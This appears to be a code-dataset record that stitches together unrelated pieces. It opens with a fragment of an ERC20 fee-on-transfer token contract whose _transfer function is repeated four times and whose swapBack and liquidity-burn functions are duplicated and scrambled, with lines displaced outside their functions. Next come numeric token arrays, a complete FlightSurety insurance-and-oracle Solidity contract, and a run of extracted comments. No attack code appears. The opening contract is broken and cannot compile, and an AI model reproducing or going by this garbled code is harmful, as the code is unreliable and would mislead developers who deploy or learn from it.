(automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){ autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){ autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){ autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){ autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); address(this), tokenAmount, deadAddress, block.timestamp ); } uniswapV2Router.addLiquidityETH{value: ethAmount}( function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if(contractBalance > swapTokensAtAmount * 20){ contractBalance = swapTokensAtAmount * 20; } uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; if(liquidityTokens > 0 && ethForLiquidity > 0){ addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } } if(contractBalance == 0 || totalTokensToSwap == 0) {return;} function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if(contractBalance > swapTokensAtAmount * 20){ contractBalance = swapTokensAtAmount * 20; } uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; if(liquidityTokens > 0 && ethForLiquidity > 0){ addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } } uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2; (success,) = address(devWallet).call{value: ethForDev}(""); function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if(contractBalance > swapTokensAtAmount * 20){ contractBalance = swapTokensAtAmount * 20; } uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; if(liquidityTokens > 0 && ethForLiquidity > 0){ addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } } (success,) = address(marketingWallet).call{value: address(this).balance}(""); function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner { require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes"); require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%"); lpBurnFrequency = _frequencyInSeconds; percentForLPBurn = _percent; lpBurnEnabled = _Enabled; } function autoBurnLiquidityPairTokens() internal returns (bool){ lastLpBurnTime = block.timestamp; uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(10000); if (amountToBurn > 0){ super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } pair.sync(); emit AutoNukeLP(); return true; } function autoBurnLiquidityPairTokens() internal returns (bool){ lastLpBurnTime = block.timestamp; uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(10000); if (amountToBurn > 0){ super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } pair.sync(); emit AutoNukeLP(); return true; } IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){ require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish"); require(percent <= 1000, "May not nuke more than 10% of tokens in LP"); lastManualLpBurnTime = block.timestamp; uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000); if (amountToBurn > 0){ super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } pair.sync(); emit ManualNukeLP(); return true; } function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){ require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish"); require(percent <= 1000, "May not nuke more than 10% of tokens in LP"); lastManualLpBurnTime = block.timestamp; uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000); if (amountToBurn > 0){ super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } pair.sync(); emit ManualNukeLP(); return true; } IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); }
11,927,909
[ 1, 14925, 77, 17, 4819, 471, 30959, 17, 3350, 5349, 7990, 471, 3152, 431, 17704, 1317, 628, 1656, 281, 471, 943, 2492, 3844, 1707, 6138, 716, 279, 5859, 13667, 312, 6388, 5574, 18, 5502, 7412, 358, 4259, 6138, 3377, 506, 3221, 358, 279, 4207, 7412, 3844, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 7875, 395, 353, 4232, 39, 3462, 16, 14223, 6914, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 203, 565, 467, 984, 291, 91, 438, 58, 22, 8259, 3103, 1071, 11732, 640, 291, 91, 438, 58, 22, 8259, 31, 203, 565, 1758, 1071, 11732, 640, 291, 91, 438, 58, 22, 4154, 31, 203, 565, 1758, 1071, 5381, 8363, 1887, 273, 1758, 12, 20, 92, 22097, 1769, 203, 203, 565, 1426, 3238, 7720, 1382, 31, 203, 203, 565, 1758, 1071, 13667, 310, 16936, 31, 203, 565, 1758, 1071, 4461, 16936, 31, 203, 377, 203, 565, 2254, 5034, 1071, 943, 3342, 6275, 31, 203, 565, 2254, 5034, 1071, 7720, 5157, 861, 6275, 31, 203, 565, 2254, 5034, 1071, 943, 16936, 31, 203, 377, 203, 565, 1426, 1071, 12423, 38, 321, 1526, 273, 638, 31, 203, 565, 2254, 5034, 1071, 12423, 38, 321, 13865, 273, 12396, 3974, 31, 203, 565, 2254, 5034, 1071, 1142, 48, 84, 38, 321, 950, 31, 203, 377, 203, 565, 2254, 5034, 1071, 11297, 38, 321, 13865, 273, 5196, 6824, 31, 203, 565, 2254, 5034, 1071, 1142, 25139, 48, 84, 38, 321, 950, 31, 203, 203, 565, 1426, 1071, 8181, 382, 12477, 273, 638, 31, 203, 565, 1426, 1071, 1284, 7459, 3896, 273, 629, 31, 203, 565, 1426, 1071, 7720, 1526, 273, 629, 31, 203, 377, 203, 565, 1426, 1071, 7412, 6763, 1526, 273, 638, 31, 203, 203, 565, 2254, 5034, 1071, 30143, 5269, 2954, 281, 31, 203, 565, 2254, 5034, 1071, 30143, 3882, 21747, 14667, 31, 203, 565, 2254, 2 ]
pragma solidity ^0.4.25; // It's important to avoid vulnerabilities due to numeric overflow bugs // OpenZeppelin's SafeMath library, when used correctly, protects agains such bugs // More info: https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2018/november/smart-contract-insecurity-bad-arithmetic/ import "../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol"; import "./FlightSuretyData.sol"; /************************************************** */ /* FlightSurety Smart Contract */ /************************************************** */ contract FlightSuretyApp { using SafeMath for uint256; // Allow SafeMath functions to be called for all uint256 types (similar to "prototype" in Javascript) /********************************************************************************************/ /* DATA VARIABLES */ /********************************************************************************************/ FlightSuretyData flightSuretyData; // Flight status codees uint8 private constant STATUS_CODE_UNKNOWN = 0; uint8 private constant STATUS_CODE_ON_TIME = 10; uint8 private constant STATUS_CODE_LATE_AIRLINE = 20; uint8 private constant STATUS_CODE_LATE_WEATHER = 30; uint8 private constant STATUS_CODE_LATE_TECHNICAL = 40; uint8 private constant STATUS_CODE_LATE_OTHER = 50; uint256 private constant CONSENSUS_NUM = 4; address private contractOwner; // Account used to deploy contract /************************************************************************** EVENTS ***************************************************************************/ event OperationalStatusChange(bool newStatus); event AirlineVotedFor(address votedFor, address airlineVoted); event AirlineRegistered(address airline); event AirlineFunded(address airline); event FlightRegistered(bytes32 flight); event FlightInsurancePurchased(bytes32 flight, address insuree); // Event fired each time an oracle submits a response event FlightStatusInfo(address airline, bytes32 flight, uint256 timestamp, uint8 status); event OracleReport(address airline, bytes32 flight, uint256 timestamp, uint8 status); event FlightStatusFinalized(bytes32 flight, uint8 statusCode); // Event fired when flight status request is submitted // Oracles track this and if they have a matching index // they fetch data and submit a response event OracleRequest(uint8 index, address airline, bytes32 flight, uint256 timestamp); event OracleRegistered(address oracle); event InsureePaid(address insuree); //debugging // event InVoting(uint256 votesNumber); /********************************************************************************************/ /* FUNCTION MODIFIERS */ /********************************************************************************************/ // Modifiers help avoid duplication of code. They are typically used to validate something // before a function is allowed to be executed. /** * @dev Modifier that requires the "operational" boolean variable to be "true" * This is used on all state changing functions to pause the contract in * the event there is an issue that needs to be fixed */ modifier requireIsOperational() { // Modify to call data contract's status require(flightSuretyData.isOperational(), "Contract is currently not operational"); _; // All modifiers require an "_" which indicates where the function body will be added } /** * @dev Modifier that requires the "ContractOwner" account to be the function caller */ modifier requireContractOwner() { require(msg.sender == contractOwner, "Caller is not contract owner"); _; } modifier requireAirlineRegAndFunded() { require(flightSuretyData.isAirline(msg.sender), "You must be a registered Airline to do this"); require(flightSuretyData.isFundedAirline(msg.sender), "Your Airline must be funded to do this"); _; } modifier requireAirline() { require(flightSuretyData.isAirline(msg.sender), "You are not an airline"); _; } modifier requireNewFlight(bytes32 flightNumber) { bool flightExists = flightSuretyData.checkFlightExists(flightNumber); require(flightExists == false, "Flight already exists."); _; } modifier requireFlightExists(bytes32 flightNumber) { bool flightExists = flightSuretyData.checkFlightExists(flightNumber); require(flightExists == true, "Flight does not exist."); _; } modifier requireHasInsureeBalance(address _insuree) { uint256 balance = flightSuretyData.getInsureeBalance(_insuree); require(balance > 0, "You don't have a balance to withrdraw presently"); _; } modifier isMaxOneEther() { require(msg.value <= 1 ether, "You may only insure for up to 1 Ether"); _; } /********************************************************************************************/ /* CONSTRUCTOR */ /********************************************************************************************/ /** * @dev Contract constructor * */ constructor ( address _dataContractAddress ) public { contractOwner = msg.sender; flightSuretyData = FlightSuretyData(_dataContractAddress); } /********************************************************************************************/ /* UTILITY FUNCTIONS */ /********************************************************************************************/ function isOperational() public view returns(bool) { return flightSuretyData.isOperational(); // Modify to call data contract's status } function setOperationalStatus(bool _mode) external requireContractOwner { require(_mode != isOperational(), "Mode is already that"); flightSuretyData.setOperatingStatus(_mode); emit OperationalStatusChange(_mode); } /********************************************************************************************/ /* SMART CONTRACT FUNCTIONS */ /********************************************************************************************/ /** * @dev Add an airline to the registration queue * */ function registerAirline ( address _newAirline ) public requireIsOperational requireAirlineRegAndFunded { require(!flightSuretyData.isAirline(_newAirline), "Airline has already been registered"); uint256 numRegisteredAirlines = flightSuretyData.numRegisteredAirlines(); // Use consensus if (numRegisteredAirlines >= CONSENSUS_NUM) { // Check if sender has already voted for airline address[] memory votes = flightSuretyData.getAirlineVotes(_newAirline); bool alreadyVoted = false; for (uint v = 0; v < votes.length; v++) { if (votes[v] == msg.sender) { alreadyVoted = true; break; } } require(!alreadyVoted, "You have already voted for that airline."); // if not add a vote for it flightSuretyData.addAirlineVote(msg.sender, _newAirline); votes = flightSuretyData.getAirlineVotes(_newAirline); // check for approval conditions if (votes.length > numRegisteredAirlines.div(2)) { flightSuretyData.clearAirlineVotes(_newAirline); flightSuretyData.registerAirline(_newAirline); emit AirlineRegistered(_newAirline); } else { emit AirlineVotedFor(_newAirline, msg.sender); } } else { flightSuretyData.registerAirline(_newAirline); emit AirlineRegistered(_newAirline); } } // Fund an airline function fundRegisteredAirline () public payable requireIsOperational requireAirline { flightSuretyData.fundAirline.value(msg.value)(msg.sender, msg.value); emit AirlineFunded(msg.sender); } /** * @dev Register a future flight for insuring. * */ // Frontend should pass _flight as web3.fromUtf8(_flight) function registerFlight ( address _airline, uint256 _time, bytes32 _flight) public requireIsOperational requireAirlineRegAndFunded /*requireNewFlight(_flight)*/ { flightSuretyData.registerFlight(_airline, _time, _flight); emit FlightRegistered(_flight); } function buyFlightInsurance ( bytes32 _flight ) public payable isMaxOneEther requireIsOperational requireFlightExists( _flight ) { flightSuretyData.buyFlightInsurance.value(msg.value)(_flight, msg.sender); emit FlightInsurancePurchased(_flight, msg.sender); } /** * @dev Called after oracle has updated flight status * */ function processFlightStatus ( bytes32 flight, uint8 statusCode, bytes32 _oracleResponseKey ) private requireIsOperational { if (statusCode == STATUS_CODE_LATE_AIRLINE) { flightSuretyData.creditInsurees(flight); } flightSuretyData.updateFlightStatus(statusCode, flight); oracleResponses[_oracleResponseKey].isOpen = false; emit FlightStatusFinalized(flight, statusCode); } // Generate a request for oracles to fetch flight information function fetchFlightStatus ( bytes32 _flight ) external { uint8 index = getRandomIndex(msg.sender); address airline; bytes32 flight; uint256 timestamp; (airline, flight, timestamp,,) = flightSuretyData.getFlightInformation(_flight); // Generate a unique key for storing the request bytes32 key = keccak256(abi.encodePacked(index, airline, _flight, timestamp)); oracleResponses[key] = ResponseInfo({ requester: msg.sender, isOpen: true }); emit OracleRequest(index, airline, _flight, timestamp); } function getAllFlights () external view returns (bytes32[]) { return flightSuretyData.getAllFlights(); } function withdrawInsureeCredit() external requireHasInsureeBalance(msg.sender) { flightSuretyData.payInsuree(msg.sender); emit InsureePaid(msg.sender); } // region ORACLE MANAGEMENT // Incremented to add pseudo-randomness at various points uint8 private nonce = 0; // Fee to be paid when registering oracle uint256 public constant REGISTRATION_FEE = 1 ether; // Number of oracles that must respond for valid status uint256 private constant MIN_RESPONSES = 3; struct Oracle { bool isRegistered; uint8[3] indexes; } // Track all registered oracles mapping(address => Oracle) private oracles; // Model for responses from oracles struct ResponseInfo { address requester; // Account that requested status bool isOpen; // If open, oracle responses are accepted mapping(uint8 => address[]) responses; // Mapping key is the status code reported // This lets us group responses and identify // the response that majority of the oracles } // Track all oracle responses // Key = hash(index, flight, timestamp) mapping(bytes32 => ResponseInfo) private oracleResponses; // Register an oracle with the contract function registerOracle ( ) external payable { // Require registration fee require(msg.value >= REGISTRATION_FEE, "Registration fee is required"); uint8[3] memory indexes = generateIndexes(msg.sender); oracles[msg.sender] = Oracle({ isRegistered: true, indexes: indexes }); emit OracleRegistered(msg.sender); } function getMyIndexes ( ) view external returns(uint8[3]) { require(oracles[msg.sender].isRegistered, "Not registered as an oracle"); return oracles[msg.sender].indexes; } // Called by oracle when a response is available to an outstanding request // For the response to be accepted, there must be a pending request that is open // and matches one of the three Indexes randomly assigned to the oracle at the // time of registration (i.e. uninvited oracles are not welcome) function submitOracleResponse ( uint8 index, address airline, bytes32 flight, uint256 timestamp, uint8 statusCode ) external { require((oracles[msg.sender].indexes[0] == index) || (oracles[msg.sender].indexes[1] == index) || (oracles[msg.sender].indexes[2] == index), "Index does not match oracle request"); bytes32 key = keccak256(abi.encodePacked(index, airline, flight, timestamp)); require(oracleResponses[key].isOpen, "Flight or timestamp do not match oracle request"); oracleResponses[key].responses[statusCode].push(msg.sender); // Information isn't considered verified until at least MIN_RESPONSES // oracles respond with the *** same *** information emit OracleReport(airline, flight, timestamp, statusCode); if (oracleResponses[key].responses[statusCode].length >= MIN_RESPONSES) { emit FlightStatusInfo(airline, flight, timestamp, statusCode); // Handle flight status as appropriate processFlightStatus(flight, statusCode, key); } } function getFlightKey ( address airline, bytes32 flight, uint256 timestamp ) pure internal returns(bytes32) { return keccak256(abi.encodePacked(airline, flight, timestamp)); } // Returns array of three non-duplicating integers from 0-9 function generateIndexes ( address account ) internal returns(uint8[3]) { uint8[3] memory indexes; indexes[0] = getRandomIndex(account); indexes[1] = indexes[0]; while(indexes[1] == indexes[0]) { indexes[1] = getRandomIndex(account); } indexes[2] = indexes[1]; while((indexes[2] == indexes[0]) || (indexes[2] == indexes[1])) { indexes[2] = getRandomIndex(account); } return indexes; } // Returns array of three non-duplicating integers from 0-9 function getRandomIndex ( address account ) internal returns (uint8) { uint8 maxValue = 10; // Pseudo random number...the incrementing nonce adds variation uint8 random = uint8(uint256(keccak256(abi.encodePacked(blockhash(block.number - nonce++), account))) % maxValue); if (nonce > 250) { nonce = 0; // Can only fetch blockhashes for last 256 blocks so we adapt } return random; } // endregion }
************************************************* */ FlightSurety Smart Contract */************************************************* */ Flight status codees Event fired each time an oracle submits a response Event fired when flight status request is submitted Oracles track this and if they have a matching index they fetch data and submit a responsedebugging event InVoting(uint256 votesNumber); Modifiers help avoid duplication of code. They are typically used to validate something before a function is allowed to be executed.
